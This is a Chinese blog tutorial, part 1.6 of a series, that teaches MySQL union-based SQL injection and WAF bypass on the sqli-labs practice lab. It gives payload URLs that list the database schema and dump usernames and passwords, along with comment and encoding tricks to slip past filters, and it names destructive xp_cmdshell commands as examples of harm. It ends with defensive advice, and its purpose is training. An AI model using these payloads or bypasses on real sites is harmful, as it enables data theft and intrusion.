MYSQL注入 BYPASS-1.6初识注入bypass

释放双眼,带上耳机,听听看~!

SQL注入(英语:SQL injection),也称SQL注入或SQL注码,是发生于应用程序与数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了字符检查,那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏或是入侵。

0x00 简介

在MySQL里面注入和搭建环境来其实差不多,推荐使用sqli-labs来练练手,网上一堆的方法也是我们从学以来用到的

加引号 报错 and 1=1 and 1=2 然后SQLmap 一丢有waf就凉凉,可能and的时候就凉了,所以手工是也算个必修课吧。

直接用 and 1=1 一类的多属于 数字型注入 select * from admin where id = $id; 被包裹起来的就不行的,所以 一般要看报错的语句,当然也不是加个引号没报错就没了,具体分很多情况的。(废话多了点顺便讲清楚吧)

0x01 第一个注入

and 是一个逻辑符号 要求两边同时成立,所以and 这边是什么可以尽情发挥大家的才能 比如 and true=1 ?,为什么要这么写,因为某狗判断的就是 and 这边的字符类型 大家可以去了解了解 MySQL隐式转化。

mysql> select * from users where id = "1" and 1=1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id = "1" and 1=2;
Empty set (0.00 sec)

说了这么多我们就拿sqli-labs的第一关来演示一下

mysql

看到报错语句

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

其中''1'' LIMIT 0,1' 最外层的是它出错给你的字符串不用看,所以为'1'' LIMIT 0,1 应为我们的单引号没闭合所以造成了出错 同时知道了 它的后面有个 LIMIT 0,1 所以反推大概的语句为 select x,x from xxx where x='id' limit 0,1 看到报错信息我们应该要能反推它的语句,有利于我们进一步注入,下面使用联合注入。

首先都是老套路 order by xx 来判断它的列数,因为 order by 是根据列来排序的 (排序第几列)

http://127.0.0.1/sqli/Less-1/?id=-2' union select 1,schema_name,3 from information_schema.schemata limit 2,1 -- +

通过limit 0,1来控制前端的显位的数据(从第0条取一条) 如果是过滤逗号 。 想用分页可以使用 1 offset 1 意思是从第1条开始选一条当然还有join分页这些都在后面讲了。

http://127.0.0.1/sqli/Less-1/?id=-2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' -- +

当然你想直接爆当前的库的表 不妨这样写 table_schema=database() 为了避免单引号你也可以使用hex后的数据 table_schema=0x7365637572697479

使用group_concat() 函数把表名都聚合起来,更加方便。

http://127.0.0.1/sqli/Less-1/?id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273 -- +

爆出字段

http://127.0.0.1/sqli/Less-1/?id=-2' union select 1,group_concat(username,0x7C,password),3 from users-- +

爆出数据 在 group_concat() 被过滤的情况下我们可以使用其他的来替换 推荐大家查阅mysql 函数表

当我们使用 information_schema.schemata 时被拦截了,我们可以这样绕过

`information_schema`.`schemata `  
information_schema/**/.schemata
information_schema/*!*/.schemata
information_schema%0a.schemata

也有人遇到过这种情况 users表被拦截 怎么绕过呢,其实也一样

security.users 数据库名 加表名

security.`users`

可能造成的伤害

数据表中的数据外泄,例如企业及个人机密数据,账户数据,密码等。

数据结构被黑客探知,得以做进一步攻击(例如SELECT * FROM sys.tables)。

数据库服务器被攻击,系统管理员账户被窜改(例如ALTER LOGIN sa WITH PASSWORD=’xxxxxx’)。

获取系统较高权限后,有可能得以在网页加入恶意链接、恶意代码以及Phishing等。

经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统(例如xp_cmdshell “net stop iisadmin”可停止服务器的IIS服务)。

黑客经由上传php简单的指令至对方之主机内,PHP之强大系统命令,可以让黑客进行全面控制系统(例如:php一句话木马)。

破坏硬盘数据,瘫痪全系统(例如xp_cmdshell “FORMAT C:”)。

获取系统最高权限后,可针对企业内部的任一管理系统做大规模破坏,甚至让其企业倒闭。

企业网站主页被窜改,门面尽失。

避免的方法

在设计应用程序时,完全使用参数化查询(Parameterized Query)来设计数据访问功能。

在组合SQL字符串时,先针对所传入的参数加入其他字符(将单引号字符前加上转义字符)。

如果使用PHP开发网页程序的话,需加入转义字符之功能(自动将所有的网页传入参数,将单引号字符前加上转义字符)。

使用php开发,可写入html特殊函数,可正确阻挡XSS攻击。

其他,使用其他更安全的方式连接SQL数据库。例如已修正过SQL注入问题的数据库连接组件,例如ASP.NET的SqlDataSource对象或是 LINQ to SQL。

使用SQL防注入系统。

增强WAF的防御力

本文如有错误,请及时提醒,避免误导他人

@404 aleenzz

  • 公众号:aleenzz

人已赞赏
安全教程

隐藏open ssh版本信息

2019-11-14 16:07:27

安全教程

MYSQL注入 BYPASS-1.7报错注入

2019-11-14 16:26:29

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索